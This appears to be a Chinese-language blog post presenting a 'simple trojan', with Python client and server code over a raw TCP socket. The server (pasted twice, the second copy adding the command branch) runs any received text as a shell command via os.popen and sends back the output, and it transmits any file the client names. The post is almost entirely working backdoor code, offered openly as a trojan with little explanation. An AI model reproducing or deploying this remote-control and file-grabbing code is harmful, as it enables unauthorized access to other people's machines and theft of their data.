一個簡單的木馬程序
絕大多數的木馬程序都是基於Socket來實現的
廢話少說直接上代碼!
代碼:
client部分:
# -*- coding: UTF-8 -*-
import socket
import sys
import re
import os
class Client:
def __init__(self, serverIp, serverPort):
self.serverIp = serverIp # 待連接的遠程主機的域名
self.serverPort = serverPort
self.bufferSize = 10240
def connet(self): # 連接方法
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as e:
print("Failed to create socket. Error: %s" % e)
try:
s.connect((self.serverIp, self.serverPort))
while True:
message = input('> ') # 接收用戶輸入
if not message:
break
s.send(bytes(message, 'utf-8')) # 發送命令
data = s.recv(self.bufferSize) # 接收數據
if not data:
break
if re.search("^0001", data.decode('utf-8', 'ignore')): # 判斷數據類型
print(data.decode('utf-8')[4:])
else: # 文件內容處理
s.send("File size received".encode()) # 通知服務端可以發送文件了
file_total_size = int(data.decode()) # 總大小
received_size = 0
f = open("new" + os.path.split(message)[-1], "wb") # 創建文件
while received_size < file_total_size:
data = s.recv(self.bufferSize)
f.write(data) # 寫文件
received_size += len(data) # 累加接收長度
print("已接收:", received_size)
f.close() # 關閉文件
print("receive done", file_total_size, " ", received_size)
except socket.error:
s.close()
raise # 退出進程
finally:
s.close()
if __name__ == '__main__':
cl = Client('127.0.0.1', 8800)
cl.connet()
sys.exit() # 退出進程
server部分:
# -*- coding: UTF-8 -*-
import socket
import sys
import os
class server:
def __init__(self, ip, port):
self.port = port
self.ip = ip
self.bufferSize = 10240
def start(self): # 啟動監聽,接收數據
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind((self.ip, self.port)) # 綁定
s.listen(10) # 監聽
print('等待客戶端連接')
while True: # 一直等待新的連接
try:
conn, addr = s.accept() # 接收連接
print('客戶端連接 ' + addr[0] + ':' + str(addr[1]))
while True: # 保持長連接
data = conn.recv(self.bufferSize)#接收數據
if not data:#斷開連接時退出當前循環
break
else:
self.executeCommand(conn,data)
conn.close()#關閉當前連接
except socket.error as e:
print(e)
conn.close() # 關閉連接
finally:
s.close() # 關閉服務端
def executeCommand(self, tcpCliSock, data): # 解析並執行命令
try:#
message = data.decode("utf-8")
if os.path.isfile(message):#判斷是否是文件
filesize = str(os.path.getsize(message))#獲取文件大小
print("文件大小為:",filesize)
tcpCliSock.send(filesize.encode())#發送文件大小
data = tcpCliSock.recv(self.bufferSize)
print("開始發送")
f = open(message, "rb")#打開文件
for line in f:
tcpCliSock.send(line)#發送文件內容
except:
raise
if __name__ == '__main__':
s = server('', 8800)
s.start()
# -*- coding: UTF-8 -*-
import socket
import sys
import os
class server:
def __init__(self, ip, port):
self.port = port
self.ip = ip
self.bufferSize = 10240
def start(self): # 啟動監聽,接收數據
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind((self.ip, self.port)) # 綁定
s.listen(10) # 監聽
print('等待客戶端連接')
while True: # 一直等待新的連接
try:
conn, addr = s.accept() # 接收連接
print('客戶端連接 ' + addr[0] + ':' + str(addr[1]))
while True: # 不知道客戶端發送數據大小,循環接收
data = conn.recv(self.bufferSize)
if not data:
break
else:
self.executeCommand(conn,data)
conn.close()
except socket.error as e:
print(e)
conn.close() # 關閉連接
finally:
s.close() # 關閉服務端
def executeCommand(self, tcpCliSock, data): # 解析並執行命令
try:#
message = data.decode("utf-8")
if os.path.isfile(message):#判斷是否是文件
filesize = str(os.path.getsize(message))#獲取文件大小
print("文件大小為:",filesize)
tcpCliSock.send(filesize.encode())#發送文件大小
data = tcpCliSock.recv(self.bufferSize)
print("開始發送")
f = open(message, "rb")#打開文件
for line in f:
tcpCliSock.send(line)#發送文件內容
else:
tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
except:
raise
if __name__ == '__main__':
s = server('', 8800)
s.start()
執行效果:
提醒一下,以上是linux下的方式
如果使用的是windows得解釋器:
命令如下
其余同上!